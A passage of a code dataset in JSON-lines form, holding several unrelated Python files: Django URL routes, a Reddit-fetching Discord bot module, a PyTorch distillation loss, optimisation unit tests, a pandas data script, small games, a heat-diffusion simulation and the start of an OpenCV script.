url(_(r'^meal/(?P\\d+)/$'), MealInformation.as_view(), name='meal_id'),\n url(_(r'^routes/$'), RoutesInformation.as_view(), name='routes'),\n url(_(r'^route/(?P\\d+)/$'),\n EditDeliveryOfToday.as_view(), name='edit_delivery_of_today'),\n url(_(r'^route/(?P\\d+)/create/$'),\n CreateDeliveryOfToday.as_view(), name='create_delivery_of_today'),\n url(_(r'^kitchen_count/$'), KitchenCount.as_view(), name='kitchen_count'),\n url(_(r'^kitchen_count/(?P\\d{4})/(?P\\d{2})/(?P\\d+)/$'),\n KitchenCount.as_view(), name='kitchen_count_date'),\n url(_(r'^viewDownloadKitchenCount/$'),\n KitchenCount.as_view(), name='downloadKitchenCount'),\n url(_(r'^viewMealLabels/$'), MealLabels.as_view(), name='mealLabels'),\n url(_(r'^route_sheet/(?P\\d+)/$'),\n DeliveryRouteSheet.as_view(), name='route_sheet'),\n url(_(r'^refresh_orders/$'),\n RefreshOrderView.as_view(), name='refresh_orders'),\n]\n","repo_name":"savoirfairelinux/sous-chef","sub_path":"src/delivery/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"48"} +{"seq_id":"19327183181","text":"import asyncpraw as praw # type: ignore[import]\nimport asyncprawcore as prawcore # type: ignore[import]\nimport random\nimport aiohttp\nimport io\nimport discord\nimport re\nimport typing\n\nfrom helpers.style import Emotes\nfrom helpers.env import CLIENT_ID, SECRET_KEY, USER_AGENT\nfrom helpers.logger import Logger\n\nlogger = Logger()\n\n\nclass Post:\n \"\"\"Class representing a reddit post\n\n Args:\n text (str): Reddit selfpost text, or link url\n url (str, optional): Link url. Defaults to None.\n \"\"\"\n\n def __init__(self, text: str, url: str = \"\") -> None:\n self.text = text\n self._url = url\n self.img: list[discord.File] = []\n\n async def load_img(self) -> 'Post':\n if self._url and re.search(r\"\\.(png|jpg|gif|jpeg)$\", self._url):\n try:\n async with aiohttp.ClientSession() as session:\n async with session.get(self._url) as resp:\n self.img = [discord.File(io.BytesIO(await resp.read()), self._url)]\n except Exception as e:\n logger.error(f\"Failed to load image {e.__class__.__name__}\")\n elif self._url:\n self.text = self._url\n return self\n\n\nclass RedditInterface:\n \"\"\"Interface for managing a reddit connection\n\n Args:\n sub (str): Subreddit name\n time (str, optional): Time period to search in. Defaults to \"day\".\n\n \"\"\"\n\n def __init__(self, sub: str, time: str = \"day\") -> None:\n self.cache: list[praw.models.reddit.submission.Submission] = []\n self._nsub = sub\n self.time = time\n self.sub: str | None = None\n self.error_response: str | None = None\n\n @staticmethod\n async def valid_sub(subreddit: str) -> bool:\n \"\"\"If the given sub is resolvable\n\n Args:\n subreddit (str): Subreddit name\n\n Returns:\n bool: returns True if the sub exists, and False otherwise\n \"\"\"\n try:\n async with praw.Reddit(client_id=CLIENT_ID,\n client_secret=SECRET_KEY,\n user_agent=USER_AGENT) as interface:\n temp = await interface.subreddit(subreddit)\n [post async for post in temp.top(\"day\", 1)]\n return True\n except prawcore.exceptions.AsyncPrawcoreException:\n return False\n\n @staticmethod\n async def single_post(subreddit: str, time: str) -> Post:\n \"\"\"Returns a single post from a subreddit\n\n Args:\n subreddit (str): Subreddit name\n time (str): Time period to get post from\n\n Returns:\n Post: Top post found\n \"\"\"\n reddit = RedditInterface(subreddit, time)\n post = await reddit.get_post()\n return post\n\n async def set_subreddit(self, subreddit: str, num: int = 15) -> None:\n \"\"\"Sets interface to point to new subreddit\n\n Using this also resets the number of cached reddit posts.\n\n Args:\n subreddit (str): Subreddit name\n num (int, optional): The number of reddit posts to cache. Defaults to 15.\n\n Returns:\n Post: _description_\n \"\"\"\n if not self.sub == subreddit:\n try:\n async with praw.Reddit(client_id=CLIENT_ID,\n client_secret=SECRET_KEY,\n user_agent=USER_AGENT) as instance:\n self.sub = subreddit\n self.cache = [post async for post in await instance.subreddit(self.sub).top(\n time_filter=self.time, limit=num)]\n logger.info(f\"The subreddit {subreddit} was set for reddit.interface\")\n self.error_response = None\n except prawcore.exceptions.Redirect:\n logger.warning(f\"Requested subreddit {subreddit} was not found\")\n self.error_response = f\"{Emotes.WTF} Subreddit \\'{subreddit}\\' not found\"\n except prawcore.exceptions.NotFound:\n logger.warning(f\"Requested subreddit {subreddit} is banned\")\n self.error_response = f\"{Emotes.WTF} Subreddit \\'{subreddit}\\' banned\"\n except prawcore.exceptions.Forbidden:\n logger.warning(f\"Requested subreddit {subreddit} is set to private\")\n self.error_response = f\"{Emotes.WTF} Subreddit \\'{subreddit}\\' private\"\n except prawcore.AsyncPrawcoreException as e:\n logger.error(f\"Failure getting subreddit <{subreddit}>: {e.__class__.__name__}\")\n self.error_response = f\"{Emotes.WTF} Unknown error, please try again later\"\n\n random.shuffle(self.cache)\n\n async def get_post(self) -> Post:\n \"\"\"Gets a random reddit post from the cache\n\n Returns:\n Post: Random reddit post\n Throws:\n IndexError: If cache is empty\n \"\"\"\n\n if not self.sub:\n await self.set_subreddit(self._nsub)\n if self.error_response:\n logger.warning(f\"Error while getting post: {self.error_response}\")\n return Post(self.error_response)\n try:\n subm = self.cache.pop()\n except IndexError:\n logger.warning(f\"The subreddit {self.sub} ran out of posts\")\n return Post(f\"Whoops, you ran out of posts! Try a different sub {Emotes.CONFUSED}\")\n return await Post(\"**\" + subm.title + \"**\\t*(r/\" + subm.subreddit.display_name + \")*\\n\" +\n (subm.selftext if subm.is_self else \"\"),\n \"\" if subm.is_self else subm.url).load_img()\n","repo_name":"StanleyRoberts/Nix-Bot","sub_path":"src/reddit/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":5648,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"73629774867","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch\nfrom ..builder import DISTILL_LOSSES\n\n\n@DISTILL_LOSSES.register_module()\nclass IFVDLoss(nn.Module):\n \"\"\"PyTorch version of `Masked Generative Distillation`\n\n Args:\n student_channels(int): Number of channels in the student's feature map.\n teacher_channels(int): Number of channels in the teacher's feature map.\n name (str): the loss name of the layer\n alpha_mgd (float, optional): Weight of dis_loss. Defaults to 0.00002\n lambda_mgd (float, optional): masked ratio. Defaults to 0.75\n \"\"\"\n\n def __init__(self, name, student_channels=19, teacher_channels=19, loss_weight=10.0,):\n super(IFVDLoss, self).__init__()\n self.name = name\n self.loss_weight = loss_weight\n self.num_classes = 19\n\n if student_channels != teacher_channels:\n self.align = nn.Conv2d(student_channels, teacher_channels, kernel_size=1, stride=1, padding=0)\n else:\n self.align = None\n\n def forward(self, preds_S, preds_T, gt):\n \"\"\"Forward function.\n Args:\n preds_S(Tensor): Bs*C*H*W, student's feature map\n preds_T(Tensor): Bs*C*H*W, teacher's feature map\n \"\"\"\n assert preds_S.shape[-2:] == preds_T.shape[-2:]\n\n if self.align is not None:\n preds_S = self.align(preds_S)\n\n N, C, H, W = preds_S.shape\n gt = F.interpolate(gt.float(), size=[H, W], mode='bilinear', align_corners=False).int()\n\n center_feat_S = preds_S.clone()\n center_feat_T = preds_T.clone()\n\n for i in range(self.num_classes):\n mask_feat_S = (gt == i).float()\n mask_feat_T = (gt == i).float()\n center_feat_S = (1 - mask_feat_S) * center_feat_S + mask_feat_S * (\n (mask_feat_S * preds_S).sum(-1).sum(-1) / (mask_feat_S.sum(-1).sum(-1) + 1e-6)).unsqueeze(\n -1).unsqueeze(-1)\n center_feat_T = (1 - mask_feat_T) * center_feat_T + mask_feat_T * (\n (mask_feat_T * preds_T).sum(-1).sum(-1) / (mask_feat_T.sum(-1).sum(-1) + 1e-6)).unsqueeze(\n -1).unsqueeze(-1)\n # vi_S = (1 - mask_feat_S) * center_feat_S + (mask_feat_S * preds_S[:, i].unsqueeze(1)).sum(-1).sum(-1) / (\n # mask_feat_S.sum(-1).sum(-1) + 1e-6)\n # vi_T = (1 - mask_feat_T) * center_feat_S +T(mask_feat_T * preds_T[:, i].unsqueeze(1)).sum(-1).sum(-1) / (mask_feat_T.sum(-1).sum(-1) + 1e-6)\n\n cos = nn.CosineSimilarity(dim=1)\n pcsim_feat_S = cos(preds_S, center_feat_S)\n pcsim_feat_T = cos(preds_T, center_feat_T)\n\n # mseloss\n mse = nn.MSELoss()\n loss = mse(pcsim_feat_S, pcsim_feat_T)\n\n return self.loss_weight * loss\n","repo_name":"Linxuxin/mmseg_distill_1.0","sub_path":"mmseg/distillation/losses/ifvd.py","file_name":"ifvd.py","file_ext":"py","file_size_in_byte":2799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71950449747","text":"\"\"\"\nUnit tests for the implementation of the best responses.\nRequires CVXPY (https://www.cvxpy.org/) with the MOSEK backend \n(https://www.mosek.com/)\n\"\"\"\n\nimport unittest\n\nimport torch\nimport numpy as np\nimport cvxpy as cp\nfrom scipy.optimize import minimize_scalar\n\nfrom robust_losses import RobustLoss, DualRobustLoss, chi_square_value, cvar_value\n\nfrom utils import project_to_cs_ball, project_to_cvar_ball\n\n\nclass TestDualLosses(unittest.TestCase):\n def setUp(self):\n self.size = 0.1\n self.reg = 0.5\n\n self.cvar_layer = RobustLoss(self.size, self.reg, 'cvar',\n tol=1e-8, max_iter=5000)\n self.chisquare_layer = RobustLoss(self.size, self.reg,\n 'chi-square', debugging=True,\n tol=1e-8, max_iter=5000)\n\n def test_dual_chi_square(self):\n m = 1000\n dual_loss = DualRobustLoss(self.size, self.reg, 'chi-square')\n v = torch.abs(torch.randn(m))\n\n p_star, eta_star = self.chisquare_layer.best_response(v)\n\n dual_loss.eta.data = torch.Tensor([eta_star])\n val_dual = dual_loss(v)\n val_primal = chi_square_value(p_star, v, self.reg)\n\n self.assertTrue(\n torch.abs(val_primal - val_dual) / max(val_primal, val_dual) <= 1e-4\n )\n\n def test_dual_cvar(self):\n m = 1000\n dual_loss = DualRobustLoss(self.size, self.reg, 'cvar')\n v = torch.abs(torch.randn(m))\n\n # we find eta_star with scipy.optimize\n def f(eta):\n dual_loss.eta.data = torch.Tensor([eta])\n return float(dual_loss(v).detach().numpy())\n\n eta_star = minimize_scalar(f).x\n\n p_star = self.cvar_layer.best_response(v)\n\n val_primal = cvar_value(p_star, v, self.reg)\n val_dual = torch.Tensor([f(eta_star)])\n \n rel_error = torch.abs(\n val_primal - val_dual) / max(val_primal, val_dual)\n \n self.assertTrue(\n rel_error <= 1e-4\n )\n\n\nclass TestCVaRBestResponse(unittest.TestCase):\n def setUp(self):\n self.layer = RobustLoss(0.0, 0.0, 'cvar', tol=1e-5, max_iter=10000)\n\n def test_comparison_cvx(self):\n size_vals = [1e-4, 1e-3, 1e-2, 1e-1, 1.0]\n reg_vals = [1e-4, 1e-2, 1.0, 1e2]\n m_vals = [200, 2000]\n\n for size in size_vals:\n for reg in reg_vals:\n for m in m_vals:\n with self.subTest(m=m, size=size, reg=reg):\n v = np.abs(np.random.randn(m, ))\n v_tensor = torch.DoubleTensor(v)\n\n self.layer.size = size\n self.layer.reg = reg\n\n p_torch = self.layer.best_response(v_tensor)\n p_cvx = torch.Tensor(cvar(v, reg, size)).type(\n p_torch.dtype)\n\n val_torch = cvar_value(p_torch, v_tensor, reg)\n val_cvx = cvar_value(p_cvx, v_tensor, reg)\n\n self.assertAlmostEqual(\n val_torch.numpy(), val_cvx.numpy(), 3)\n\n # self.assertTrue(\n # (torch.abs(val_torch - val_cvx)\n # / max(val_torch, val_cvx)) <= 1e-4\n # )\n\n def test_almost_uniform(self):\n size_vals = [1e-4, 1e-3, 1e-2, 1e-1, 1.0]\n reg_vals = [1e-4, 1e-2, 1.0, 1e2]\n m_vals = [200, 2000]\n\n for size in size_vals:\n for reg in reg_vals:\n for m in m_vals:\n with self.subTest(m=m, size=size, reg=reg):\n v = np.log(10.0) * np.ones(m) + 0e-4 * np.random.randn(\n m)\n\n self.layer.size = size\n self.layer.reg = reg\n\n p_torch = self.layer.best_response(torch.Tensor(v))\n p_cvx = torch.Tensor(cvar(v, reg, size))\n\n val_torch = cvar_value(p_torch, torch.Tensor(v), reg)\n val_cvx = cvar_value(p_cvx, torch.Tensor(v), reg)\n\n self.assertAlmostEqual(\n val_torch.numpy(), val_cvx.numpy(), 3)\n\n\n\nclass TestChiSquareBestResponse(unittest.TestCase):\n def setUp(self):\n self.layer = RobustLoss(1.0, 0.1, 'chi-square', tol=1e-8,\n max_iter=10000)\n\n def test_comparison_cvx(self):\n size_vals = [1e-2, 1e-1, 1.0, 10.0]\n reg_vals = [1e-4, 1e-2, 1.0, 1e2]\n m_vals = [200, 2000]\n\n for size in size_vals:\n for reg in reg_vals:\n for m in m_vals:\n with self.subTest(m=m, size=size, reg=reg):\n v = np.abs(np.random.randn(m, ))\n\n self.layer.size = size\n self.layer.reg = reg\n\n p_torch = self.layer.best_response(torch.Tensor(v))\n p_cvx = torch.Tensor(chi_square(v, reg, size))\n\n val_torch = chi_square_value(p_torch, torch.Tensor(v),\n reg)\n val_cvx = chi_square_value(p_cvx, torch.Tensor(v), reg)\n\n self.assertTrue(\n torch.abs(val_torch - val_cvx) / max(\n val_torch, val_cvx) <= 1e-4\n )\n\n def test_almost_uniform(self):\n size_vals = [1e-1, 1.0, 10.0, ]\n m_vals = [200, 2000]\n reg_vals = [1e-4, 1e-2, 1.0, 1e2]\n\n for size in size_vals:\n for reg in reg_vals:\n for m in m_vals:\n with self.subTest(m=m, size=size, reg=reg):\n v = np.log(10.0) * np.ones(m)\n\n self.layer.size = size\n self.layer.reg = reg\n\n p_torch = self.layer.best_response(torch.Tensor(v))\n p_cvx = torch.Tensor(chi_square(v, reg, size))\n\n val_torch = chi_square_value(p_torch, torch.Tensor(v),\n reg)\n val_cvx = chi_square_value(p_cvx, torch.Tensor(v), reg)\n\n self.assertTrue(\n torch.abs(val_torch - val_cvx) / max(\n val_torch, val_cvx) <= 1e-4\n )\n\n\nclass TestChiSquareProjection(unittest.TestCase):\n def test_vs_cvx(self):\n size_vals = [1e-2, 1.0, 10.0]\n m_vals = [20, 200]\n step_size_vals = [1e-2, 1e-1, 1.0, 1e1, 1e2]\n\n # size_vals = [10.0]\n # m_vals = [200]\n # step_size_vals = [0.01]\n\n for m in m_vals:\n p0 = np.ones(m) / m\n v = np.random.randn(m)\n for size in size_vals:\n for step_size in step_size_vals:\n with self.subTest(m=m, size=size, step_size=step_size):\n p_ = p0 + step_size * v\n\n p_numpy = project_to_cs_ball(p_, size)\n p_cvx = chi_square_proj(p_, size)\n\n self.assertTrue(\n np.abs(p_numpy-p_cvx).sum() <= 1e-2,\n f'np.abs(p_numpy-p_cvx).sum() = '\n f'{np.abs(p_numpy-p_cvx).sum()}')\n\n\nclass TestCvarProjection(unittest.TestCase):\n def test_sanity(self):\n size_vals = [1e-3, 1e-2, 1e-1, 0.5, 0.9, 0.99]\n m_vals = [5, 20, 200, 1000]\n\n for m in m_vals:\n w = np.random.rand(m)\n with self.subTest(m=m):\n max_vals = []\n for size in size_vals:\n p = project_to_cvar_ball(w, size)\n max_vals.append(p.max())\n\n self.assertTrue(np.all(np.diff(max_vals) <= 0),\n f'max vals = {max_vals}')\n\n\n# CVXPY Best responses\ndef chi_square(v, lam, rho):\n m = v.shape[0]\n p = cp.Variable(m, nonneg=True)\n obj = v @ p - (0.5 / m) * lam * cp.sum_squares(m * p - np.ones(m, ))\n\n constraints = [\n cp.sum(p) == 1,\n ]\n\n if rho < float('inf'):\n constraints += [(0.5 / m) *\n cp.sum_squares(m * p - np.ones(m, )) <= rho]\n problem = cp.Problem(cp.Maximize(obj), constraints)\n problem.solve(solver=cp.MOSEK)\n\n return p.value\n\n\ndef cvar(v, lam, alpha):\n m = v.shape[0]\n p = cp.Variable(m, nonneg=True)\n obj = v @ p + lam * cp.sum(cp.entr(p)) - lam * np.log(m)\n\n constraints = [\n cp.max(p) <= 1.0 / (alpha * m),\n cp.sum(p) == 1,\n ]\n\n problem = cp.Problem(cp.Maximize(obj), constraints)\n problem.solve(solver=cp.MOSEK)\n return p.value\n\n\n# CVXPY projection\ndef chi_square_proj(v, rho):\n m = v.shape[0]\n p = cp.Variable(m, nonneg=True)\n obj = cp.sum((v - p)**2) # for some reason this gives better results than cp.sum_squares\n\n constraints = [\n cp.sum(p) == 1,\n 0.5 * cp.sum((m * p - 1.0)**2) /m <= rho\n ]\n\n problem = cp.Problem(cp.Minimize(obj), constraints)\n problem.solve(solver=cp.MOSEK)\n\n return p.value\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"daniellevy/fast-dro","sub_path":"tests_robust_losses.py","file_name":"tests_robust_losses.py","file_ext":"py","file_size_in_byte":9280,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"48"} +{"seq_id":"19176535032","text":"import unittest\nimport math\nfrom subgradpy import *\n\nclass TestExp(unittest.TestCase):\n def setUp(self):\n self.x_values = [-5,0,42,123];\n x = var('x')\n self.ex = exp(x)\n\n def test_get_value(self):\n for val in self.x_values:\n self.assertAlmostEqual(self.ex.get_value({'x': val}),\n math.exp(val))\n \n def test_subgrad(self): \n for val in self.x_values:\n g = self.ex.subgrad({'x':val})\n self.assertAlmostEqual(g['x'],math.exp(val))\n\nif __name__=='__main__':\n unittest.main()\n","repo_name":"cvxgrp/subgradpy","sub_path":"unit_tests/exp_test.py","file_name":"exp_test.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"31008422020","text":"import csv\nimport datetime\n\n# Tratamiento de datos\n# ==============================================================================\nimport numpy as np\nimport pandas as pd\nimport statsmodels.api as sm\n\n# Gráficos\n# ==============================================================================\nimport matplotlib.pyplot as plt\nimport matplotlib.font_manager\nfrom matplotlib import style\nstyle.use('ggplot') or plt.style.use('ggplot')\n\n# Configuración warnings\n# ==============================================================================\nimport warnings\nwarnings.filterwarnings('ignore')\n#Comienzo a crear los dataframes filtrados por meses tipo Ene-Feb ...\n#dataframefinal = pd.read_csv('dataframefinal.csv', sep = ',')\narchivo = 'DFmenores.csv'\ndataframefinal = pd.read_csv(archivo, sep = ',') #con este comienzo el tratamiento final por mes\n\n## aqui renomambro el resto de columnas\n\ndataframefinal.rename(columns = {'-_COVID_19_CONFIRMADO_(U07.1)':'COVID19_Confirmado_h'}, inplace = True)\n\n#enfermedades.rename(columns = {'mp25':'MP2.5'}, inplace = True)\n#elimino ultimo row\ndataframefinal.drop(dataframefinal.tail(1).index, inplace = True)\n#aqui comienzo a eliminar columnas que no me sirven\ndel dataframefinal[\"Edad_y_Tipo_de_Atención\"]\n#del dataframefinal[\"Unnamed: 0.1\"]\ndel dataframefinal[\"Unnamed: 0\"]\ndel dataframefinal[\"Covid-19_Virus_no_identificado_U07.2\"]\ndel dataframefinal[\"Covid-19_Virus_identificado_U07.1\"]\ndel dataframefinal[\"-_COVID-19_VIRUS_NO_IDENTIFICADO_U07.2\"]\ndel dataframefinal[\"-_COVID-19_VIRUS_IDENTIFICADO_U07.1\"]\ndel dataframefinal[\"COVID19_Sospechoso_u\"]\ndel dataframefinal[\"COVID19_Sospechoso_h\"]\n\n\nprint(dataframefinal.info())\n##aqui reemplazo todos los Nan por un 0\ndataframefinal = dataframefinal.fillna(0)\n#dataframefinal.to_csv('dataframefinal.csv') #aqui reescribo el dataframe\n\n#enfermedades.to_csv('DF/dataframe.csv')\nprint('----------------------')\nprint('Media de cada variable')\nprint('----------------------')\nprint(dataframefinal.mean(axis=0))\n\nprint('-------------------------')\nprint('Varianza de cada variable')\nprint('-------------------------')\nprint(dataframefinal.var(axis=0))\n\ndef extraer_meses(data):\n ene_feb = data[0:8]\n ene_feb = ene_feb.append(data[52:60])\n ene_feb = ene_feb.append(data[104:112])\n ene_feb = ene_feb.append(data[156:164])\n ene_feb = ene_feb.append(data[209:217])\n\n mar_abr = data[8:17]\n mar_abr = mar_abr.append(data[60:69])\n mar_abr = mar_abr.append(data[112:121])\n mar_abr = mar_abr.append(data[164:173])\n mar_abr = mar_abr.append(data[217:226])\n\n may_jun = data[17:25]\n may_jun = may_jun.append(data[69:77])\n may_jun = may_jun.append(data[121:129])\n may_jun = may_jun.append(data[173:181])\n may_jun = may_jun.append(data[226:234])\n\n jul_ago = data[25:34]\n jul_ago = jul_ago.append(data[77:86])\n jul_ago = jul_ago.append(data[129:138])\n jul_ago = jul_ago.append(data[181:190])\n jul_ago = jul_ago.append(data[234:243])\n\n sep_oct = data[34:43]\n sep_oct = sep_oct.append(data[86:95])\n sep_oct = sep_oct.append(data[138:147])\n sep_oct = sep_oct.append(data[190:199])\n sep_oct = sep_oct.append(data[243:252])\n\n nov_dic = data[43:52]\n nov_dic = nov_dic.append(data[95:104])\n nov_dic = nov_dic.append(data[147:156])\n nov_dic = nov_dic.append(data[199:208])\n nov_dic = nov_dic.append(data[252:])\n\n return ene_feb, mar_abr, may_jun, jul_ago, sep_oct, nov_dic\n\nprimer, segundo, tercero, cuarto, quinto ,sexto = extraer_meses(dataframefinal) \nprimer.to_csv('porfechayrango/ene_feb'+ archivo)\nsegundo.to_csv('porfechayrango/mar_abr'+ archivo)\ntercero.to_csv('porfechayrango/may_jun'+ archivo)\ncuarto.to_csv('porfechayrango/jul_ago'+ archivo)\nquinto.to_csv('porfechayrango/sep_oct'+ archivo)\nsexto.to_csv('porfechayrango/nov_dic'+ archivo)\n\n\n#print(primer, segundo, tercero, cuarto, quinto ,sexto)\n","repo_name":"EscarabajoBomba/Proyecto_enfermedades","sub_path":"nuevascategorias_enfermedades/creaciondeDFs.py","file_name":"creaciondeDFs.py","file_ext":"py","file_size_in_byte":3863,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73454518225","text":"import time\nimport os\nimport numpy as np\nimport random\n\ndef clear(): \n\n name = os.name\n if name == 'nt': \n os.system('cls') \n \n else: \n os.system('clear') \n\ndef table_printer(matrix):\n \n print(\"\")\n print(\" 1 2 3 4\")\n print(\"1 \", matrix[0][:])\n print(\"1 \", matrix[1][:])\n print(\"1 \", matrix[2][:])\n print(\"1 \", matrix[3][:])\n print(\"\")\n\n\n\nlistA = [[x for x in range(1,9)],[x for x in range(1,9)]]\n\nlistB = [ j for i in listA for j in i]\n\nrandom.shuffle(listB)\n\narrayA = np.array(listB)\n\nmatrix = arrayA.reshape(4,4)\n\ndefault_value_table = []\nfor x in range(16):\n default_value_table.append(\"X\")\n\nmatrixshow = np.array(default_value_table)\nmatrixshow = matrixshow.reshape(4,4)\n\nfalses = [False]*16\nmatrixflag = np.array(falses)\nmatrixflag = matrixflag.reshape(4,4)\n#table_printer(matrixshow)\n\nscore = 0\ntries = 10\n\nclear()\n\nwhile tries > 0:\n print(\"SCORE: %d\" % score)\n print(\"TRIES: %d\" % tries)\n table_printer(matrixshow)\n user_input = input(\"insert coordinates\")\n\n clear()\n \n xaxis1 = int(user_input[0]) - 1 \n yaxis1 = int(user_input[1]) - 1\n\n matrixshow[xaxis1][yaxis1] = matrix[xaxis1][yaxis1]\n table_printer(matrixshow)\n\n time.sleep(3)\n \n if matrixflag[xaxis1][yaxis1] == False:\n chose1 = matrix[xaxis1][yaxis1]\n print(\"you chose: %d \\n\" % chose1)\n else:\n print(\"You chose a card you already revealed! Repeat!\\n\")\n continue\n \n user_input = input(\"insert coordinates\")\n clear()\n \n xaxis2 = int(user_input[0]) - 1\n yaxis2 = int(user_input[1]) - 1\n\n chose2 = matrix[xaxis2][yaxis2]\n \n matrixshow[xaxis2][yaxis2] = matrix[xaxis2][yaxis2]\n print(\"SCORE: %d\" % score)\n print(\"TRIES: %d\" % tries)\n\n table_printer(matrixshow)\n\n print(\"you chose: %d \\n\" % chose2)\n\n time.sleep(3)\n clear()\n \n if chose1 == chose2:\n print(\"RIGHT!\\n\")\n score += 1\n matrixflag[xaxis1][yaxis1] = True\n matrixflag[xaxis2][yaxis2] = True\n# print(\"Tries you still have: \", tries, \"\\n\")\n else:\n print(\"WRONG!\\n\")\n tries -= 1\n# print(\"Tries you still have: \", tries, \"\\n\")\n matrixshow[xaxis1][yaxis1], matrixshow[xaxis2][yaxis2] = (\"X\", \"X\")\n\nif tries == 0:\n print(\"You loose!\")\n","repo_name":"andcarnivorous/PythonTerminalGames","sub_path":"memorygame/memorygame.py","file_name":"memorygame.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7600943170","text":"# Números aleatórios\n\nimport random # irá importar o módulo random (números aleatórios)\n\n\nrandom.seed(1) # irá escolher um número aleatório entre 0 e 10 repetidamente\nnumero = random.randint(0, 10) # irá buscar um número aleatório entre 0 e 10 e armazenará na variável numero\nprint (numero)\n\n#\t\tEscolhendo um núro aleatório dentro de uma lista\n\nlista = [6, 45, 9] # defini os valores 6, 45 e 9 para a variável lista\nnumero1 = random.choice(lista) # a variável numero1 irá escolher um número dentro da variável lista\nprint (numero1)","repo_name":"johnpeixotonasc/Python","sub_path":"Curso - Introdução à linguagem Python/Números aleatórios.py","file_name":"Números aleatórios.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5443980055","text":"from turtle import Screen, Turtle\nfrom colorsys import hsv_to_rgb\n\nRADIUS = 300\nNUMBER_OF_WEDGES = 28\nSLICE_ANGLE = 360 / NUMBER_OF_WEDGES\n\nscreen = Screen()\nscreen.tracer(False)\n\n# create a pie wedge-shaped cursor\nturtle = Turtle(visible=False)\nturtle.begin_poly()\nturtle.sety(turtle.ycor() - RADIUS)\nturtle.circle(RADIUS, extent=SLICE_ANGLE)\nturtle.home()\nturtle.end_poly()\n\nscreen.register_shape(\"wedge\", turtle.get_poly())\n\n# create a turtle for each wedge in the pie\nturtles = []\n\nfor hue in range(NUMBER_OF_WEDGES):\n turtle = Turtle(\"wedge\")\n turtle.color(hsv_to_rgb(hue / NUMBER_OF_WEDGES, 1.0, 1.0))\n turtle.setheading(hue * SLICE_ANGLE)\n\n turtles.append(turtle)\n\ndef draw_circle():\n\n # have each turtle take on the color of its neighbor\n for index, turtle in enumerate(turtles):\n turtle.color(*turtles[(index + 1) % NUMBER_OF_WEDGES].color())\n\n screen.update()\n screen.ontimer(draw_circle, 80)\n\ndraw_circle()\n\nscreen.exitonclick()","repo_name":"Horstman2004/2122AMnotes","sub_path":"CSP/Finals/wheelTest.py","file_name":"wheelTest.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2792950087","text":"def BOJ2003(N,M,arr):\n start, end = 0, 1\n cnt = 0\n # 로직1\n while start <= end and end <= N:\n res = sum(arr[start:end])\n # 로직2\n if res == M:\n cnt += 1\n end += 1\n # 로직3\n elif res < M:\n end += 1\n # 로직4\n else:\n start += 1\n return cnt\nN,M = map(int,input().split())\narr = list(map(int,input().split()))\nprint(BOJ2003(N,M,arr))","repo_name":"silverjjj/algorithm","sub_path":"BOJ/2003.py","file_name":"2003.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71760748625","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom numba import jit\r\nimport sys\r\n\r\n@jit(nopython=True)\r\ndef update_temps(temps,nx):\r\n\tnewtemps = np.copy(temps)\r\n\tfor x in range(1, nx-1):\r\n\t\tfor y in range(1,nx-1):\r\n\t\t\tnewtemps[y,x] = (1-4*r*diff)*temps[y,x] + r*diff*(temps[y,x-1]+temps[y,x+1] +temps[y-1,x]+temps[y+1,x] )\r\n\treturn newtemps\r\n\r\nif __name__ == '__main__':\r\n\t### Here's a 2d example\r\n\r\n\tnt = 5000\r\n\tnx = 20\r\n\ttpts = np.linspace(0,1,num=nt)\r\n\tdt = tpts[1]-tpts[0]\r\n\txpts = np.linspace(0,1., num=nx)\r\n\tdx = xpts[1] - xpts[0]\r\n\r\n\tr = dt/dx**2\r\n\tdiff = 1.16\r\n\t### Note that stability requirement is stricter in 2D\r\n\tprint(diff*r)\r\n\r\n\t### Make temperature grid with inital conditions\r\n\ttemps = 273*np.ones((nx,nx))\r\n\ttemps[:,-1] = 77.\r\n\tnewtemps = np.copy(temps)\r\n\r\n\tplt.imshow(temps)\r\n\tplt.show()\r\n\t### Let's animate this\r\n\tplt.ion()\r\n\tplt.plot(xpts, temps)\r\n\t### Loop through times and update\r\n\tt=0\r\n\twhile t < 200:\r\n\t\tnewtemps = update_temps(temps, nx)\r\n\t\ttxt = 'Delta: ' + str(np.round(np.sum(np.abs(temps-newtemps)),3))\r\n\t\tsys.stdout.write(txt+'\\r')\r\n\t\tsys.stdout.flush()\r\n\t\ttemps = np.copy(newtemps)\r\n\t\tt+=dt\r\n\r\n\t\tplt.imshow(temps,origin='lower')\r\n\t\t# plt.ylim(bottom=50,top=300)\r\n\t\tplt.title('Time = '+ str(np.round(t,3)))\r\n\t\tplt.draw()\r\n\t\tplt.pause(0.0001)\r\n\t\tplt.clf()","repo_name":"lfinnerty/Astro142-SP23-Disc","sub_path":"Discussion19/discussion19_activity_2D_solution.py","file_name":"discussion19_activity_2D_solution.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"2642328923","text":"#The Piano Channel 4\nimport cv2\nimport numpy as np\n\nvideo = cv2.VideoCapture(0)\n\nwhile True:\n \n check, frame = video.read()\n\n #Colour Threshold for Yellow\n y_min = (23,7,0)\n y_max = (83,255,255)\n hsv = 